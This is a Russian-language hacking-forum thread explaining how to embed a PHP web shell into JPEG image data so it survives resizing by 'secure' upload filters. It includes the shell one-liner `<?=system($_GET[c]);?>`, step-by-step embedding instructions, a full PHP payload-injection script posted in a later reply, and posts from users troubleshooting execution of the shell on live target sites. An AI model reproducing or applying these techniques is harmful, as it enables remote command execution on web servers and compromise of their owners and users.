Вернуться   RDot > Аспекты НСД > Web-среда/Web-applications

Ответ
 
Опции темы Поиск в этой теме Опции просмотра
Старый 28.06.2013, 12:56   #1
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию Обход безопасной загрузки изображений

В 2012 году была опубликована интересная работа по встраиванию произвольного кода в PNG IDAT chunks, что позволяет сохранить необходимые данные после ресайза и ресемплирования для последующего использования при ошибках конфигурации и LFI. Но, не смотря на очень сильное ограничение на сохранение финальной картинки в PNG, никаких аналогичных работ по другим форматам никто не опубликовал.
https://www.idontplaydarts.com/2012/...g-idat-chunks/

Повторим то же самое для JPG.

Порядок обработки RGB-данных при сохранении в JPG (JFIF)
(рассматриваем самый "популярный" вариант, на каждом шаге может быть десяток других вариаций описанный действий):
1) Преобразования RGB->YCbCr (другая цветовая модель, Y - яркость, Cb Cr - цветовые компоненты)
2) Прореживание каждых 2x2 блоков по схеме "4:2:0". Цветовые компоненты усредняются для 4 пикселей и сохраняется вместо 12 значений (4 Y, 4 Cb, 4 Cr) - 6 значений (4 Y, 1 Cb, 1 Cr)
3) Для каждого блока 8x8 пикселей считается дискретное косинусное преобразование (если представить его в виде картинки, то наиболее значимые данные для обратного преобразования скапливаются в левом верхнем углу и чем дальше к правому нижнему, тем данные менее значимы)
4) Полученное преобразование квантуется по таблицам квантования (Наиболее значимые части сохраняются наиболее точно, наименее значимые наоборот. Таблицы квантования, насколько я понимаю, могут быть использованы любые, но реально используются предложенные создателями формата изображения, которые были просчитаны экспериментальным путем. От данного квантования зависит степень качества изображения - от 1 до 100)
5) Далее эти данные запаковываются кодом Хаффмана (Опять же по предопределенным таблицам)

После чего получается бинарная строка, которая добивается единицами до конца байта.

В итоге получаются следующие важные части в JPG
1) Заголовок с информацией о размерах и тп
2) 2 таблицы квантования
3) 4 таблицы Хаффмана
4) Кодированные данные изображения (именно сюда мы будем встраивать данные)

Более наглядно можно поиграться с JPG используя
1) JPEGSnoop http://www.impulseadventure.com/photo/jpeg-snoop.html
2) http://www.impulseadventure.com/phot...an-coding.html
И другие статьи с этого сайта.

Наиболее простым/кустарным/убогим алгоритмом "ручного" встраивания PHP-кода в кодированные данные изображения будет следующим
1) Формируем PHP-мини шелл, который корректно декодируется с использованием таблиц Хаффмана
2) Встраиваем его в начало данных изображения
3) Дополняем код корректной битовой последовательностью (для простоты это будет ~100 нулл-байтов) до необходимого количества MCU (JPEG Minimum Coded Unit, в случае схемы 4:2:0 это кодированное представление 6 значений 4 Y, 1 Cb, 1 Cr)
4) Открываем в PHP данное изображение и смотрим в ошибке, сколько лишних байт получилось, и отрезаем их

При таком алгоритме нужно соблюсти условия: качество и размер итогового изображения должны быть равны исходному.
Для этого можно просто пропустить произвольное изображение через функцию "защищенной" загрузки файлов и скачать себе обработанное изображение.


А теперь тоже самое, только в картинках
1) Для примера я взял мини-шелл
PHP код:
<?=system($_GET[c]);?>
И картинку



2) Открываем в Hex редакторе jpg и находим начало кодированных данных изображения (если это изображение обработано php, то нужный нам блок идет последним)



3) Вставляем в начало свой PHP-код и нулл-байты с запасом (кодированные данные читаются вплоть до маркера конца изображения, так что о длине можно не беспокоиться)



4) Открываем получившееся изображение в JPEGSnoop и проверяем в секциях
Код:
*** Marker: SOS (Start of Scan) (xFFDA) ***
*** Decoding SCAN Data ***
Нет никаких ошибок выделенных красным цветом (если они есть, то либо не хватило вставленных нулл-байтов, либо во встроенном коде образовались битовые последовательности, которые не соответствуют коду Хаффмана)

5) Открываем данное изображение в PHP
PHP код:
<?php
    imagecreatefromjpeg
('jpeg_begin.jpg');
?>
Так как мы вставляли нулл-байты с запасом, libjpeg ругнется и скажет, сколько байт лишних:
Код:
Warning: imagecreatefromjpeg(): gd-jpeg, libjpeg: recoverable error: 
Corrupt JPEG data: 2 extraneous bytes before marker 0xd9
Удаляем два последних байта перед маркером 0xffd9 и сохраняем изображение.



После чего можно снова заливать его в "защищенную" загрузку файлов с ресайзом и проверять, что код никуда не исчез.
Миниатюры
Нажмите на изображение для увеличения
Название: jpeg_1.jpg
Просмотров: 15344
Размер:	88.8 Кб
ID:	393   Нажмите на изображение для увеличения
Название: jpeg_2.jpg
Просмотров: 15264
Размер:	106.1 Кб
ID:	394  
Изображения
  
BlackFan вне форума   Ответить с цитированием
Старый 28.06.2013, 19:26   #2
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Убогий PoC для встраивания.
http://pastebin.com/3cznqi8P

Инструкция:
1) Берем произвольную картинку
2) Заливаем в "защищенную" загрузку файлов
3) Сохраняем обработанное изображение
4) Запускаем встраиватель (если все хорошо, появится payload_<name>.jpg)
Код:
php jpg_payload.php <jpg_name.jpg>
Заметки:
1) Вполне возможно, что при ресайзе часть данных испортится, поэтому $miniShell должен быть действительно мини
2) Если даже минимальный шелл портится или встраиватель выдает "Something's wrong", то нужно менять $miniShell (заменить одну функцию на другую, добавить в начало символ и т.п.) или менять исходную картинку
Вложения
Тип файла: zip jpg_payload.zip (1.8 Кб, 3077 просмотров)

Последний раз редактировалось BlackFan; 03.07.2013 в 08:54..
BlackFan вне форума   Ответить с цитированием
Старый 03.07.2013, 08:56   #3
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Спущено.

PS: Способ встраивания действительно упоротый и неуниверсальный, не работает если таблицы хаффмана перестраиваются при сохранении. Но в целом в PHP им можно пользоваться..

Последний раз редактировалось BlackFan; 03.07.2013 в 09:03..
BlackFan вне форума   Ответить с цитированием
Старый 07.07.2013, 17:21   #4
Воришко
 
Регистрация: 17.03.2013
Сообщений: 17
Репутация: -7
По умолчанию

BlackFan спасибо за исследования, а особенно за спуск темы в паблик.
Твой способ с JFIF форматом работает отлично, протестировал, всё как надо.
Вот с PNG проблемы, так и не получилось у меня заставить его работать.

Единственное, способ к сожалению не будет работать, если конвертация картинок происходит через линуксовую команду "convert -scale", а такое очень часто встречается, но даже из этой ситуации выход есть, так как там игнорируются служебные заголовки, оставаясь как есть, единственный момент, как правильно вставить мини шелл задача тоже сложная, у меня долго не получалось, и чисто случайно один раз как то удалось вставить мини шелл который сработал, то есть там тоже надо соблюдать какие то рамки формата заголовков.
Воришко вне форума   Ответить с цитированием
Старый 13.11.2013, 19:35   #5
Белый Тигр
 
Аватар для Белый Тигр
 
Регистрация: 29.08.2010
Сообщений: 151
Репутация: 25
По умолчанию

Большое спасибо! Способ очень помог в, казалось бы, безнадёжной ситуации.
Белый Тигр вне форума   Ответить с цитированием
Старый 15.03.2014, 21:08   #6
Ravenous
 
Аватар для Ravenous
 
Регистрация: 14.07.2012
Сообщений: 64
Репутация: 1
По умолчанию

Вообщем такая ситуация. На сайте с ajax формой аплоада, удается подменить расширение, но происходить валидация и ресайз копии (оригинал тоже есть).
Воспользовался скриптом, получил изображние на выходе. http://www.sendspace.com/file/j5m4sm
В нем нашел минишелл.
PHP код:
€‰Љ’“”•–—˜™љўЈ¤Ґ¦§Ё©ЄІіґµ¶·ё№єВГДЕЖЗИЙКТУФХЦЧШЩЪвгдежзийктуфхцчшщъяЪ   ? <?=system($_GET[ex]);?>
Где пробелы какието бинарные символы.
Дальше залив на сайт с расширением php, появилась ошибка
Код:
Parse error: syntax error, unexpected '?' in /1394903092payload_new.php on line 6
далее залив этот же файл с расширением jpg, увидел, что стало с минишелом
Код:
? <??OжДя …system($_GET[exZ?Пё>¦“<?>
http://www.sendspace.com/file/nbwtt0
Почему так произошло? есть ли еще шансы выполнить минишелл?

upd: в попытке поменять минишелл на получаю такие ошибки
$miniPayload = '<? phpinfo();system($_GET[ex]);?>';
Цитата:
Warning: Unexpected character in input: '' (ASCII=31) state=1 in /payload_new2.php on line 6
Parse error: syntax error, unexpected T_STRING in / on line 6

Последний раз редактировалось Ravenous; 15.03.2014 в 21:27..
Ravenous вне форума   Ответить с цитированием
Старый 16.03.2014, 07:36   #7
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Судя по всему, на сервере включен short_open_tag, а в картинке после минишелла присутствуют комбинации символов "<?".
Попробуй либо другую картинку (желательно маленькую), либо добавить в минишелл в конце __halt_compiler();

И еще, похоже ты не в том порядке делаешь.
Нужно сначала залить чистую картинку, ее обработает сервер, после чего сохраняешь ее с сервера, вставляешь шелл и снова заливаешь.

Последний раз редактировалось BlackFan; 16.03.2014 в 07:39..
BlackFan вне форума   Ответить с цитированием
Старый 09.10.2015, 23:32   #8
crlf
 
Аватар для crlf
 
Регистрация: 29.09.2015
Сообщений: 101
Репутация: 17
По умолчанию

Тут http://www.virtualabs.fr/Nasty-bulletproof-Jpegs-l предлагается ещё один вариант и скрипт генерации jpeg с пейлодом на питоне.
crlf вне форума   Ответить с цитированием
Старый 12.09.2017, 12:02   #9
mikhailtpm
 
Аватар для mikhailtpm
 
Регистрация: 01.07.2015
Сообщений: 67
Репутация: 0
По умолчанию

Такая штука, что сервер не принимает изображение меньше 300x300 пикселей.
Пытаюсь внедрить пейлоад с помощью кода BlackFan-a
PHP код:
<?php

    $miniPayload 
'<?=system($_GET[c]);?>';

    if(!
extension_loaded('gd') || !function_exists('imagecreatefrompng')) {
        die(
'php-gd is not installed');
    }
    
    if(!isset(
$argv[1])) {
        die(
'php png_payload.php <png_name.png>');
    }

    
set_error_handler("custom_error_handler");

    for(
$pad 0$pad 1024$pad++) {
        
$nullbytePayloadSize $pad;
        
$dis = new DataInputStream($argv[1]);
        
$outStream file_get_contents($argv[1]);
        
$extraBytes 0;
        
$correctImage TRUE;

        if(
$dis->readShort() != 0xFFD8) {
            die(
'Incorrect SOI marker');
        }

        while((!
$dis->eof()) && ($dis->readByte() == 0xFF)) {
            
$marker $dis->readByte();
            
$size $dis->readShort() - 2;
            
$dis->skip($size);
            if(
$marker === 0xDA) {
                
$startPos $dis->seek();
                
$outStreamTmp 
                    
substr($outStream0$startPos) . 
                    
$miniPayload 
                    
str_repeat("\0",$nullbytePayloadSize) . 
                    
substr($outStream$startPos);
                
checkImage('_'.$argv[1], $outStreamTmpTRUE);
                if(
$extraBytes !== 0) {
                    while((!
$dis->eof())) {
                        if(
$dis->readByte() === 0xFF) {
                            if(
$dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    
$stopPos $dis->seek() - 2;
                    
$imageStreamSize $stopPos $startPos;
                    
$outStream 
                        
substr($outStream0$startPos) . 
                        
$miniPayload 
                        
substr(
                            
str_repeat("\0",$nullbytePayloadSize).
                                
substr($outStream$startPos$imageStreamSize),
                            
0,
                            
$nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                
substr($outStream$stopPos);
                } elseif(
$correctImage) {
                    
$outStream $outStreamTmp;
                } else {
                    break;
                }
                if(
checkImage('payload_'.$argv[1], $outStream)) {
                    die(
'Success!');
                } else {
                    break;
                }
            }
        }
    }
    
unlink('payload_'.$argv[1]);
    die(
'Something\'s wrong');

    function 
checkImage($filename$data$unlink FALSE) {
        global 
$correctImage;
        
file_put_contents($filename$data);
        
$correctImage TRUE;
        
imagecreatefrompng($filename);
        if(
$unlink)
            
unlink($filename);
        return 
$correctImage;
    }

    function 
custom_error_handler($errno$errstr$errfile$errline) {
        global 
$extraBytes$correctImage;
        
$correctImage FALSE;
        if(
preg_match('/(\d+) extraneous bytes before marker/'$errstr$m)) {
            if(isset(
$m[1])) {
                
$extraBytes = (int)$m[1];
            }
        }
    }

    class 
DataInputStream {
        private 
$binData;
        private 
$order;
        private 
$size;

        public function 
__construct($filename$order false$fromString false) {
            
$this->binData '';
            
$this->order $order;
            if(!
$fromString) {
                if(!
file_exists($filename) || !is_file($filename))
                    die(
'File not exists ['.$filename.']');
                
$this->binData file_get_contents($filename);
            } else {
                
$this->binData $filename;
            }
            
$this->size strlen($this->binData);
        }

        public function 
seek() {
            return (
$this->size strlen($this->binData));
        }

        public function 
skip($skip) {
            
$this->binData substr($this->binData$skip);
        }

        public function 
readByte() {
            if(
$this->eof()) {
                die(
'End Of File');
            }
            
$byte substr($this->binData01);
            
$this->binData substr($this->binData1);
            return 
ord($byte);
        }

        public function 
readShort() {
            if(
strlen($this->binData) < 2) {
                die(
'End Of File');
            }
            
$short substr($this->binData02);
            
$this->binData substr($this->binData2);
            if(
$this->order) {
                
$short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                
$short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return 
$short;
        }

        public function 
eof() {
            return !
$this->binData||(strlen($this->binData) === 0);
        }
    }
?>
в png, но выдает ошибку "Incorrect SOI marker". Может кто помочь? Пнгшка: https://www.sendspace.com/file/xf73ko
mikhailtpm вне форума   Ответить с цитированием
Старый 12.09.2017, 14:14   #10
crlf
 
Аватар для crlf
 
Регистрация: 29.09.2015
Сообщений: 101
Репутация: 17
По умолчанию

Цитата:
Сообщение от mikhailtpm Посмотреть сообщение
Пытаюсь внедрить пейлоад с помощью кода BlackFan-a в png
Цитата:
Сообщение от BlackFan
Повторим то же самое для JPG.

Порядок обработки RGB-данных при сохранении в JPG (JFIF)
jpeg != png

https://www.idontplaydarts.com/2012/...g-idat-chunks/
crlf вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot